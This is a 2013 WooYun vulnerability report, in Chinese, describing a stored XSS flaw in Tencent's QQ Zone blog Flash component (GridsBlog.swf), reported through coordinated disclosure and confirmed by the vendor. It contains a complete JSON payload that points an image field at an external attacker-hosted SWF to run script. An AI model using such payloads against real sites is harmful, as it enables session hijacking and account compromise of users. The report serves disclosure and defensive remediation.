当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020674

漏洞标题:QQ空间某功能缺陷导致日志存储型XSS - 10

相关厂商:腾讯

漏洞作者: gainover

提交时间:2013-03-26 08:51

修复时间:2013-05-10 08:52

公开时间:2013-05-10 08:52

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-26: 细节已通知厂商并且等待厂商处理中
2013-03-26: 厂商已经确认,细节仅向厂商公开
2013-04-05: 细节向核心白帽子及相关领域专家公开
2013-04-15: 细节向普通白帽子公开
2013-04-25: 细节向实习白帽子公开
2013-05-10: 细节向公众公开

简要描述:

话说微博上看过一故事,某人辛辛苦苦装修了房子,最后发现装修的是别人的房子。 修复漏洞有时候也是这样,出力出在了不该出的位置,辛辛苦苦修复的很好,最后其实修的不是正位置啊~

详细说明:

1. 接着系列8,我们继续阅读/qzone/newblog/v5/flash/GridsBlog.swf的代码。
接着上一次的BackGroundNavi下方不远处,我们可以可以看到 new Grids这段,userData(即我们的json数据)进入了Grids类,如下图:

1.jpg


2. 我们跟踪Grids类。搜索 Class Grids

2.jpg


数据进入了_dataObject后,跳入 initView
3. 在进入initView后,不远处,我们可以看到下面这样一段代码。

3.jpg


this._dataObject.cssSprite... 这个在我们提交的JSON数据里,并没有看到过 cssSprite 这个属性名。看来是某特定功能会用到的属性,读代码的好处这里就可以看出来了,如果是黑盒,是不可能测试到cssSprite这种属性的。
并且,这个cssSprite直接就进入了 load函数。
赤裸裸的漏洞么~~
4. 因此,我们可以修改魔方日志所提交的数据。加上一个cssSprite属性。

4.jpg


可以看到成功执行XSS。

5.jpg


5. 开发人员已经针对系列 8中 bgURL做了完整的修复措施。

6.jpg


我猜,如果我这个漏洞在此处结束,开发人员可能会采用上面的代码,将cssSprite也过滤一次。
就bgURL而言,这个修复是没问题的。但是这样有一点“治标不治本”的感觉,实际上在这个GridsBlog.swf中,load外部资源之前似乎都没有做过滤,所以个人觉得,应该做出修改的是FLASH文件,而不是在JS中一一过滤(吃力不讨好啊),否则就会继续出现本文中的问题。
6. 比如说吧: 其实下面这样也是可以的,将数据里的gXX.content.image 设置为外部FLASH一样可以导致XSS。

{"g1":{"visible":1,"id":1,"content":{"mood":"","image":"","date":"","text":"1"},"type":1,"title":"???С???????"},"g0":{"visible":1,"id":0,"content":{"mood":"","image":"","date":"","text":"1"},"type":1,"title":"???????????"},"g8":{"visible":1,"id":8,"content":{"mood":"","image":"","date":"","text":"1"},"type":1,"title":"????????2012??"},"g2":{"visible":1,"id":2,"content":{"mood":"","image":"","date":"","text":"1"},"type":1,"title":"???????"},"g6":{"visible":1,"id":6,"content":{"mood":"","image":"","date":"","text":"1"},"type":1,"title":"????????"},"templateName":"??????","g7":{"visible":1,"id":7,"content":{"mood":"","image":"","date":"","text":"1"},"type":1,"title":"???????"},"g4":{"visible":1,"id":4,"content":{"mood":"","image":"","date":"2013-03-26&1","text":""},"type":0,"title":"???? 2013-3-26"},"g3":{"visible":1,"id":3,"content":{"mood":"","image":"","date":"","text":"1"},"type":1,"title":"????????"},"version":"1.2","g5":{"visible":1,"id":5,"content":{"mood":"","image":"http://xsst.sinaapp.com/Xss.swf","date":"","text":""},"type":2,"title":"??????????"},"tempId":47,"bgItem":{"bgId":"87","bgURL":"/qzone/newblog/v5/flashassets/bg87.swf?bgver=1.0&max_age=31104000","gridcolor":"0xFF3300","alpha":1,"align":"right","wordcolor":"0xCC0000"}}


见弹窗

7.jpg


后面也不想再刷一次这个GridsBlog.swf,建议你们的开发人员将FLASH里会load外部资源的位置,都先check下,再load。

漏洞证明:

见详细说明

修复方案:

修复FLASH,不要在JS里修拉~

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-03-26 11:36

厂商回复:

感谢,已在处理中!

最新状态:

暂无